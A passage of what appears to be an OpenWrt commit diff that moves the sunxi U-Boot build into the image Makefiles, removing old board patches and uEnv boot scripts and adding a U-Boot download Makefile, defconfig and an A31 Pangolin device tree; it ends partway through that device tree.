-From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
-Date: Tue, 6 Jan 2015 21:26:44 +0100
-Subject: sun6i: Fix and document PLL LDO voltage selection
-
-The PRCM_PLL_CTRL_LDO_OUT_L and PRCM_PLL_CTRL_LDO_OUT_H macros had
-their meaning reversed. This is fixed by this change-set. With this
-changed, the PRCM_PLL_CTRL_LDO_OUT_L(1370) now becomes self-evident
-as setting the voltage to 1.37v (which it had done all along, even
-though stating a different target voltage).
-
-After changing the PLL LDO setting, it will take a little while for
-the voltage output to settle. A sdelay()-based loop waits the same
-order of magnitude as Boot1.
-
-Furthermore, a bit of documentation is added to clarify that the
-required setting for the PLL LDO is 1.37v as per the A31 manual.
-
---- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-+++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
-@@ -24,14 +24,27 @@ void clock_init_safe(void)
- 	struct sunxi_prcm_reg * const prcm =
- 		(struct sunxi_prcm_reg *)SUNXI_PRCM_BASE;
- 
--	/* Set PLL ldo voltage without this PLL6 does not work properly */
-+	/* Set PLL ldo voltage without this PLL6 does not work properly.
-+	 *
-+	 * As the A31 manual states, that "before enable PLL, PLLVDD
-+	 * LDO should be set to 1.37v", we need to configure this to 2.5v
-+	 * in the "PLL Input Power Select" (0 << 15) and (7 << 16).
-+	 */
- 	clrsetbits_le32(&prcm->pll_ctrl1, PRCM_PLL_CTRL_LDO_KEY_MASK,
- 			PRCM_PLL_CTRL_LDO_KEY);
- 	clrsetbits_le32(&prcm->pll_ctrl1, ~PRCM_PLL_CTRL_LDO_KEY_MASK,
- 		PRCM_PLL_CTRL_LDO_DIGITAL_EN | PRCM_PLL_CTRL_LDO_ANALOG_EN |
--		PRCM_PLL_CTRL_EXT_OSC_EN | PRCM_PLL_CTRL_LDO_OUT_L(1140));
-+		PRCM_PLL_CTRL_EXT_OSC_EN | PRCM_PLL_CTRL_LDO_OUT_L(1370) );
- 	clrbits_le32(&prcm->pll_ctrl1, PRCM_PLL_CTRL_LDO_KEY_MASK);
- 
-+	/* Give the PLL LDO voltage setting some time to take hold.
-+	 * Notes:
-+	 *   1) We need to use sdelay() as the timers aren't set up yet.
-+	 *   2) The 100k iterations come from Boot1, which spin's for 100k
-+	 *      iterations through a loop.
-+	 */
-+	sdelay(100000);
-+
- 	clock_set_pll1(408000000);
- 
- 	writel(PLL6_CFG_DEFAULT, &ccm->pll6_cfg);
---- a/arch/arm/include/asm/arch-sunxi/prcm.h
-+++ b/arch/arm/include/asm/arch-sunxi/prcm.h
-@@ -111,13 +111,13 @@
- #define PRCM_PLL_CTRL_LDO_OUT_MASK \
- 	__PRCM_PLL_CTRL_LDO_OUT(0x7)
- /* When using the low voltage 20 mV steps, and high voltage 30 mV steps */
--#define PRCM_PLL_CTRL_LDO_OUT_L(n) \
--	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1000) / 20) & 0x7)
- #define PRCM_PLL_CTRL_LDO_OUT_H(n) \
-+	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1000) / 20) & 0x7)
-+#define PRCM_PLL_CTRL_LDO_OUT_L(n) \
- 	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1160) / 30) & 0x7)
--#define PRCM_PLL_CTRL_LDO_OUT_LV(n) \
--	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 20) + 1000)
- #define PRCM_PLL_CTRL_LDO_OUT_HV(n) \
-+	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 20) + 1000)
-+#define PRCM_PLL_CTRL_LDO_OUT_LV(n) \
- 	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 30) + 1160)
- #define PRCM_PLL_CTRL_LDO_KEY (0xa7 << 24)
- #define PRCM_PLL_CTRL_LDO_KEY_MASK (0xff << 24)
diff --git a/package/boot/uboot-sunxi/patches/100-sun6i-alternate-on-UART2.patch b/package/boot/uboot-sunxi/patches/100-sun6i-alternate-on-UART2.patch
deleted file mode 100644
index bf5dc66..0000000
--- a/package/boot/uboot-sunxi/patches/100-sun6i-alternate-on-UART2.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-From d7311b6e7cdd1fc0e92665188e650934718cb2b1 Mon Sep 17 00:00:00 2001
-From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
-Date: Tue, 16 Jun 2015 10:52:01 +0200
-Subject: sun6i: define alternate-function for UART2 on GPG
-
-
---- a/arch/arm/include/asm/arch-sunxi/gpio.h
-+++ b/arch/arm/include/asm/arch-sunxi/gpio.h
-@@ -180,6 +180,7 @@ enum sunxi_gpio_number {
- #define SUN6I_GPG_SDC1		2
- #define SUN8I_GPG_SDC1		2
- #define SUN6I_GPG_TWI3		2
-+#define SUN6I_GPG_UART2         2
- #define SUN5I_GPG_UART1		4
- 
- #define SUN4I_GPH_SDC1		5
diff --git a/package/boot/uboot-sunxi/patches/101-sun6i-support-console-on-UART2.patch b/package/boot/uboot-sunxi/patches/101-sun6i-support-console-on-UART2.patch
deleted file mode 100644
index 087074d..0000000
--- a/package/boot/uboot-sunxi/patches/101-sun6i-support-console-on-UART2.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From c058dfb69136d62f88ae8b121104bdb7ce2df03f Mon Sep 17 00:00:00 2001
-From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
-Date: Tue, 16 Jun 2015 10:53:11 +0200
-Subject: ARM: sun6i: Support console on UART2 (GPG6/GPG7)
-
-
---- a/arch/arm/cpu/armv7/sunxi/board.c
-+++ b/arch/arm/cpu/armv7/sunxi/board.c
-@@ -88,6 +88,10 @@ static int gpio_init(void)
- 	sunxi_gpio_set_cfgpin(SUNXI_GPG(3), SUN5I_GPG_UART1);
- 	sunxi_gpio_set_cfgpin(SUNXI_GPG(4), SUN5I_GPG_UART1);
- 	sunxi_gpio_set_pull(SUNXI_GPG(4), SUNXI_GPIO_PULL_UP);
-+#elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN6I)
-+	sunxi_gpio_set_cfgpin(SUNXI_GPG(6), SUN6I_GPG_UART2);
-+	sunxi_gpio_set_cfgpin(SUNXI_GPG(7), SUN6I_GPG_UART2);
-+	sunxi_gpio_set_pull(SUNXI_GPG(7), SUNXI_GPIO_PULL_UP);
- #elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN8I)
- 	sunxi_gpio_set_cfgpin(SUNXI_GPB(0), SUN8I_GPB_UART2);
- 	sunxi_gpio_set_cfgpin(SUNXI_GPB(1), SUN8I_GPB_UART2);
---- a/include/configs/sunxi-common.h
-+++ b/include/configs/sunxi-common.h
-@@ -260,6 +260,8 @@ extern int soft_i2c_gpio_scl;
- #endif
- #elif CONFIG_CONS_INDEX == 2 && defined(CONFIG_MACH_SUN5I)
- #define OF_STDOUT_PATH		"/soc at 01c00000/serial at 01c28400:115200"
-+#elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN6I)
-+#define OF_STDOUT_PATH          "/soc at 01c00000/serial at 01c28800:115200"
- #elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN8I)
- #define OF_STDOUT_PATH		"/soc at 01c00000/serial at 01c28800:115200"
- #elif CONFIG_CONS_INDEX == 5 && defined(CONFIG_MACH_SUN8I)
diff --git a/package/boot/uboot-sunxi/patches/102-sunxi-make_CONS_INDEX-configurable.patch b/package/boot/uboot-sunxi/patches/102-sunxi-make_CONS_INDEX-configurable.patch
deleted file mode 100644
index ee1e3c9..0000000
--- a/package/boot/uboot-sunxi/patches/102-sunxi-make_CONS_INDEX-configurable.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 78d5fab8e345b1273ec8c22d06f1a1d27670b518 Mon Sep 17 00:00:00 2001
-From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
-Date: Tue, 16 Jun 2015 10:59:38 +0200
-Subject: ARM: sunxi: Make CONS_INDEX configurable
-
-
---- a/board/sunxi/Kconfig
-+++ b/board/sunxi/Kconfig
-@@ -229,6 +229,14 @@ config SYS_BOARD
- config SYS_SOC
- 	default "sunxi"
- 
-+config CONS_INDEX
-+        int "UART used for console"
-+        range 1 5
-+        default 1
-+        ---help---
-+        Defines the UART port used for serial output. It starts at 1 so UART0 is 1,
-+        UART1 is 2 and so on.
-+
- config UART0_PORT_F
- 	bool "UART0 on MicroSD breakout board"
- 	default n
diff --git a/package/boot/uboot-sunxi/uEnv-default.txt b/package/boot/uboot-sunxi/uEnv-default.txt
deleted file mode 100644
index e024954..0000000
--- a/package/boot/uboot-sunxi/uEnv-default.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-setenv fdt_high ffffffff
-setenv loadkernel fatload mmc 0 \$kernel_addr_r uImage
-setenv loaddtb fatload mmc 0 \$fdt_addr_r dtb
-setenv bootargs console=ttyS0,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
-setenv uenvcmd run loadkernel \&\& run loaddtb \&\& bootm \$kernel_addr_r - \$fdt_addr_r
-run uenvcmd
diff --git a/package/boot/uboot-sunxi/uEnv-pangolin.txt b/package/boot/uboot-sunxi/uEnv-pangolin.txt
deleted file mode 100644
index 9c4fa11..0000000
--- a/package/boot/uboot-sunxi/uEnv-pangolin.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-setenv fdt_high ffffffff
-setenv loadkernel fatload mmc 0 \$kernel_addr_r uImage
-setenv loaddtb fatload mmc 0 \$fdt_addr_r dtb
-setenv bootargs console=ttyS2,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
-setenv uenvcmd run loadkernel \&\& run loaddtb \&\& bootm \$kernel_addr_r - \$fdt_addr_r
-run uenvcmd
diff --git a/target/linux/sunxi/image/Makefile b/target/linux/sunxi/image/Makefile
index bc696cf..7671e14 100644
--- a/target/linux/sunxi/image/Makefile
+++ b/target/linux/sunxi/image/Makefile
@@ -18,7 +18,7 @@ define Build/sunxi-sdcard
 	rm -f $@.boot
 	mkfs.fat $@.boot -C $(FAT32_BLOCKS)
 
-	mcopy -i $@.boot $(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-boot.scr ::boot.scr
+	mcopy -i $@.boot $(KDIR)/$(DEVICE_NAME)-boot.scr ::boot.scr
 	mcopy -i $@.boot $(DTS_DIR)/$(SUNXI_DTS).dtb ::dtb
 	mcopy -i $@.boot $(IMAGE_KERNEL) ::uImage
 	./gen_sunxi_sdcard_img.sh $@ \
@@ -26,14 +26,26 @@ define Build/sunxi-sdcard
 		$(IMAGE_ROOTFS) \
 		$(CONFIG_SUNXI_SD_BOOT_PARTSIZE) \
 		$(CONFIG_TARGET_ROOTFS_PARTSIZE) \
-		$(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-u-boot-with-spl.bin
+		$(KDIR)/$(DEVICE_NAME)-u-boot-with-spl.bin
 	rm -f $@.boot
 endef
 
+define Build/sunxi-uboot
+	$(MAKE) -C uboot \
+		SUNXI_UBOOT=$(1)  \
+		DEVICE_NAME=$(DEVICE_NAME) \
+		KDIR=$(KDIR) \
+		LINUX_DIR=$(LINUX_DIR) \
+		$@
+endef
+
 # why \x00\x00\x00\x00 for zImage-initramfs
 define Device/Default
   PROFILES := Default
   DEVICE_VARS := SUNXI_DTS SUNXI_UBOOT
+  COMPILE := $(1)-u-boot-with-spl.bin $(1)-boot.scr
+  COMPILE/$(1)-u-boot-with-spl.bin := sunxi-uboot $$$$(SUNXI_UBOOT)
+  COMPILE/$(1)-boot.scr := sunxi-uboot $$$$(SUNXI_UBOOT)
   KERNEL_NAME := zImage
   KERNEL := kernel-bin | uImage none
   IMAGES := sdcard.img.gz
@@ -42,7 +54,7 @@ endef
 
 define Device/sun4i-a10-olinuxino-lime
   DEVICE_TITLE:=Olimex A10-OLinuXino-LIME
-  DEVICE_PACKAGES:=uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
   SUPPORTED_DEVICES:=olimex,a10-olinuxino-lime
   SUNXI_DTS:=sun4i-a10-olinuxino-lime
   SUNXI_UBOOT:=A10-OLinuXino-Lime
@@ -53,7 +65,7 @@ TARGET_DEVICES += sun4i-a10-olinuxino-lime
 
 define Device/sun5i-a13-olimex-som
   DEVICE_TITLE:=Olimex A13 SOM
-  DEVICE_PACKAGES:=uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
+  DEVICE_PACKAGES:=kmod-rtl8192cu
   SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=OLIMEX_A13_SOM
@@ -64,7 +76,7 @@ TARGET_DEVICES += sun5i-a13-olimex-som
 
 define Device/sun5i-a13-olinuxino
   DEVICE_TITLE:=Olimex A13-Olinuxino
-  DEVICE_PACKAGES:=uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
+  DEVICE_PACKAGES:=kmod-rtl8192cu
   SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=A13-OLinuXino
@@ -75,7 +87,7 @@ TARGET_DEVICES += sun5i-a13-olinuxino
 
 define Device/sun7i-a20-olinuxino-lime
   DEVICE_TITLE:=Olimex A20-OLinuXino-LIME
-  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
   SUPPORTED_DEVICES:=olimex,a20-olinuxino-lime
   SUNXI_DTS:=sun7i-a20-olinuxino-lime
   SUNXI_UBOOT:=A20-OLinuXino-Lime
@@ -86,7 +98,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-lime
 
 define Device/sun7i-a20-olinuxino-micro
   DEVICE_TITLE:=Olimex A20-Olinuxino Micro
-  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
   SUPPORTED_DEVICES:=olimex,a20-olinuxino-micro
   SUNXI_DTS:=sun7i-a20-olinuxino-micro
   SUNXI_UBOOT:=A20-OLinuXino_MICRO
@@ -97,7 +109,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-micro
 
 define Device/sun7i-a20-bananapi
   DEVICE_TITLE:=LeMaker Banana Pi
-  DEVICE_PACKAGES:=uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
+  DEVICE_PACKAGES:=kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
   SUPPORTED_DEVICES:=lemaker,bananapi
   SUNXI_DTS:=sun7i-a20-bananapi
   SUNXI_UBOOT:=Bananapi
@@ -108,7 +120,7 @@ TARGET_DEVICES += sun7i-a20-bananapi
 
 define Device/sun7i-a20-bananapro
   DEVICE_TITLE:=LeMaker Banana Pro
-  DEVICE_PACKAGES:=uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
+  DEVICE_PACKAGES:=kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
   SUPPORTED_DEVICES:=lemaker,bananapro
   SUNXI_DTS:=sun7i-a20-bananapro
   SUNXI_UBOOT:=Bananapro
@@ -119,7 +131,7 @@ TARGET_DEVICES += sun7i-a20-bananapro
 
 define Device/sun7i-a20-cubieboard2
   DEVICE_TITLE:=Cubietech Cubieboard2
-  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
   SUPPORTED_DEVICES:=cubietech,cubieboard2
   SUNXI_DTS:=sun7i-a20-cubieboard2
   SUNXI_UBOOT:=Cubieboard2
@@ -130,7 +142,7 @@ TARGET_DEVICES += sun7i-a20-cubieboard2
 
 define Device/sun4i-a10-cubieboard
   DEVICE_TITLE:=Cubietech Cubieboard
-  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
   SUPPORTED_DEVICES:=cubietech,a10-cubieboard
   SUNXI_DTS:=sun4i-a10-cubieboard
   SUNXI_UBOOT:=Cubieboard
@@ -141,7 +153,7 @@ TARGET_DEVICES += sun4i-a10-cubieboard
 
 define Device/sun7i-a20-cubietruck
   DEVICE_TITLE:=Cubietech Cubietruck
-  DEVICE_PACKAGES:=uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
+  DEVICE_PACKAGES:=kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
   SUPPORTED_DEVICES:=cubietech,cubietruck
   SUNXI_DTS:=sun7i-a20-cubietruck
   SUNXI_UBOOT:=Cubietruck
@@ -152,7 +164,7 @@ TARGET_DEVICES += sun7i-a20-cubietruck
 
 define Device/sun7i-a20-lamobo-r1
   DEVICE_TITLE:=Lamobo R1
-  DEVICE_PACKAGES:=uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
+  DEVICE_PACKAGES:=kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
   SUPPORTED_DEVICES:=lamobo,lamobo-r1
   SUNXI_DTS:=sun7i-a20-lamobo-r1
   SUNXI_UBOOT:=Lamobo_R1
@@ -163,7 +175,7 @@ TARGET_DEVICES += sun7i-a20-lamobo-r1
 
 define Device/sun6i-a31-m9
   DEVICE_TITLE:=Mele M9 top set box
-  DEVICE_PACKAGES:=uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  DEVICE_PACKAGES:=kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
   SUPPORTED_DEVICES:=mele,m9
   SUNXI_DTS:=sun6i-a31-m9
   SUNXI_UBOOT:=Mele_M9
@@ -174,7 +186,7 @@ TARGET_DEVICES += sun6i-a31-m9
 
 define Device/sun8i-h3-orangepi-plus
   DEVICE_TITLE:=Xunlong Orange Pi Plus
-  DEVICE_PACKAGES:=kmod-rtc-sunxi uboot-sunxi-orangepi_plus
+  DEVICE_PACKAGES:=kmod-rtc-sunxi
   SUPPORTED_DEVICES:=xunlong,orangepi-plus
   SUNXI_DTS:=sun8i-h3-orangepi-plus
   SUNXI_UBOOT:=orangepi_plus
@@ -185,7 +197,7 @@ TARGET_DEVICES += sun8i-h3-orangepi-plus
 
 define Device/sun7i-a20-pcduino3
   DEVICE_TITLE:=LinkSprite pcDuino3
-  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
+  DEVICE_PACKAGES:=kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
   SUPPORTED_DEVICES:=linksprite,pcduino3
   SUNXI_DTS:=sun7i-a20-pcduino3
   SUNXI_UBOOT:=Linksprite_pcDuino3
@@ -196,7 +208,7 @@ TARGET_DEVICES += sun7i-a20-pcduino3
 
 define Device/sun4i-a10-pcduino
   DEVICE_TITLE:=LinkSprite pcDuino
-  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  DEVICE_PACKAGES:=kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
   SUPPORTED_DEVICES:=linksprite,a10-pcduino
   SUNXI_DTS:=sun4i-a10-pcduino
   SUNXI_UBOOT:=Linksprite_pcDuino
diff --git a/target/linux/sunxi/image/uboot/Makefile b/target/linux/sunxi/image/uboot/Makefile
new file mode 100644
index 0000000..2515e61
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/Makefile
@@ -0,0 +1,65 @@
+#
+# Copyright (C) 2013-2016 OpenWrt.org
+# Copyright (C) 2017 Yousong Zhou
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+include $(TOPDIR)/rules.mk
+
+PKG_NAME:=u-boot
+PKG_VERSION:=2016.03
+PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
+PKG_SOURCE_URL:= ftp://ftp.denx.de/pub/u-boot
+PKG_HASH:=e49337262ecac44dbdeac140f2c6ebd1eba345e0162b0464172e7f05583ed7bb
+PKG_BUILD_DIR:=$(KDIR)/$(PKG_NAME)-$(DEVICE_NAME)/$(PKG_NAME)-$(PKG_VERSION)
+
+include $(INCLUDE_DIR)/package.mk
+
+all:
+	false
+prepare: $(PKG_BUILD_DIR)/.prepared
+configure: $(PKG_BUILD_DIR)/.configured
+compile: $(PKG_BUILD_DIR)/.compiled
+.PHONY: all prepare configure compile
+
+define Download/uboot
+  FILE:=$(PKG_SOURCE)
+  URL:= $(PKG_SOURCE_URL)
+  HASH:=$(PKG_HASH)
+endef
+$(eval $(call Download,uboot))
+
+$(PKG_BUILD_DIR)/.prepared: download
+	rm -rf $(PKG_BUILD_DIR)
+	mkdir -p $(PKG_BUILD_DIR)
+	$(PKG_UNPACK)
+	$(KPATCH) $(PKG_BUILD_DIR) $(PATCH_DIR)
+	touch $@
+
+$(PKG_BUILD_DIR)/.configured: $(PKG_BUILD_DIR)/.prepared
+	$(MAKE) -C $(PKG_BUILD_DIR) \
+		USE_PRIVATE_LIBGCC=yes $(SUNXI_UBOOT)_defconfig
+	touch $@
+
+$(PKG_BUILD_DIR)/.compiled: $(PKG_BUILD_DIR)/.configured
+	$(MAKE) -C $(PKG_BUILD_DIR) \
+		CROSS_COMPILE=$(TARGET_CROSS) \
+		DTCDIR=$(LINUX_DIR)/scripts/dtc/
+	touch $@
+
+$(KDIR)/$(DEVICE_NAME)-u-boot-with-spl.bin: $(PKG_BUILD_DIR)/.compiled
+	$(CP) $(PKG_BUILD_DIR)/u-boot-sunxi-with-spl.bin $(@)
+
+# check if any specialized uEnv bootconfig is required
+ifeq ($(SUNXI_UBOOT),pangolin)
+  UENV:=pangolin
+else
+  UENV:=default
+endif
+
+$(KDIR)/$(DEVICE_NAME)-boot.scr:
+	mkimage -C none -A arm -T script \
+		-d uEnv-$(UENV).txt \
+		$@
diff --git a/target/linux/sunxi/image/uboot/patches/001-use-dtc-in-kernel.patch b/target/linux/sunxi/image/uboot/patches/001-use-dtc-in-kernel.patch
new file mode 100644
index 0000000..6471e78
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/001-use-dtc-in-kernel.patch
@@ -0,0 +1,11 @@
+--- a/Makefile
++++ b/Makefile
+@@ -348,7 +348,7 @@ OBJDUMP		= $(CROSS_COMPILE)objdump
+ AWK		= awk
+ PERL		= perl
+ PYTHON		= python
+-DTC		= dtc
++DTC		= $(DTCDIR)dtc
+ CHECK		= sparse
+ 
+ CHECKFLAGS     := -D__linux__ -Dlinux -D__STDC__ -Dunix -D__unix__ \
diff --git a/target/linux/sunxi/image/uboot/patches/002-add-olimex-a13-som.patch b/target/linux/sunxi/image/uboot/patches/002-add-olimex-a13-som.patch
new file mode 100644
index 0000000..f29ad12
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/002-add-olimex-a13-som.patch
@@ -0,0 +1,21 @@
+--- /dev/null
++++ b/configs/OLIMEX_A13_SOM_defconfig
+@@ -0,0 +1,18 @@
++CONFIG_SPL=y
++CONFIG_SYS_EXTRA_OPTIONS="CONS_INDEX=2"
++CONFIG_DEFAULT_DEVICE_TREE="sun5i-a13-olinuxino"
++CONFIG_ARM=y
++CONFIG_ARCH_SUNXI=y
++CONFIG_MACH_SUN5I=y
++CONFIG_DRAM_CLK=408
++CONFIG_DRAM_ZQ=123
++CONFIG_DRAM_EMR1=0
++# CONFIG_CMD_IMLS is not set
++# CONFIG_CMD_FLASH is not set
++# CONFIG_CMD_FPGA is not set
++CONFIG_DM_SERIAL=y
++CONFIG_USB=y
++CONFIG_DM_USB=y
++CONFIG_SYS_NS16550=y
++CONFIG_SUNXI_NO_PMIC=y
++CONFIG_USB_EHCI_HCD=y
diff --git a/target/linux/sunxi/image/uboot/patches/003-add-theobroma-a31-pangolin.patch b/target/linux/sunxi/image/uboot/patches/003-add-theobroma-a31-pangolin.patch
new file mode 100644
index 0000000..e5a66d7
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/003-add-theobroma-a31-pangolin.patch
@@ -0,0 +1,385 @@
+--- a/arch/arm/dts/Makefile
++++ b/arch/arm/dts/Makefile
+@@ -152,6 +152,7 @@ dtb-$(CONFIG_MACH_SUN6I) += \
+ 	sun6i-a31-m9.dtb \
+ 	sun6i-a31-mele-a1000g-quad.dtb \
+ 	sun6i-a31-mixtile-loftq.dtb \
++	sun6i-a31-pangolin.dtb \
+ 	sun6i-a31s-cs908.dtb \
+ 	sun6i-a31s-primo81.dtb \
+ 	sun6i-a31s-sinovoip-bpi-m2.dtb
+--- a/arch/arm/dts/sun6i-a31.dtsi
++++ b/arch/arm/dts/sun6i-a31.dtsi
+@@ -643,6 +643,13 @@
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 			};
+ 
++			i2c3_pins_a: i2c3 at 0 {
++				allwinner,pins = "PB5", "PB6";
++				allwinner,function = "i2c3";
++				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++			};
++
+ 			mmc0_pins_a: mmc0 at 0 {
+ 				allwinner,pins = "PF0", "PF1", "PF2",
+ 						 "PF3", "PF4", "PF5";
+--- /dev/null
++++ b/arch/arm/dts/sun6i-a31-pangolin.dts
+@@ -0,0 +1,292 @@
++/*
++ * Copyright 2015, Theobroma Systems Design und Consulting GmbH
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun6i-a31.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
++
++/ {
++	model = "Theobroma Systems A31 Pangolin";
++	compatible = "tsd,a31-pangolin", "allwinner,sun6i-a31";
++
++	aliases {
++		serial0 = &uart0;
++		serial2 = &uart2;
++		spi0 = &spi0;
++		spi1 = &spi1;
++		spi2 = &spi2;
++		spi3 = &spi3;
++	};
++
++	chosen {
++		stdout-path = "serial2:115200n8";
++	};
++};
++
++&ehci0 {
++	status = "okay";
++};
++
++&ohci0 {
++	status = "okay";
++};
++
++&ehci1 {
++	status = "okay";
++};
++
++&ohci1 {
++	status = "okay";
++};
++
++&ohci2 {
++	status = "okay";
++};
++
++&gmac {
++	pinctrl-names = "default";
++	pinctrl-0 = <&gmac_pins_rgmii_a>;
++	phy = <&phy1>;
++	phy-mode = "rgmii";
++	snps,reset-gpio = <&pio 0 7 GPIO_ACTIVE_LOW>;
++	snps,reset-active-low;
++	snps,reset-delays-us = <0 10000 30000>;
++	status = "okay";
++
++	phy1: ethernet-phy at 4 {
++		reg = <4>;
++	};
++};
++
++&i2c0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "okay";
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&i2c2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++};
++
++&i2c3 {
++	pinctrl-names = "default";
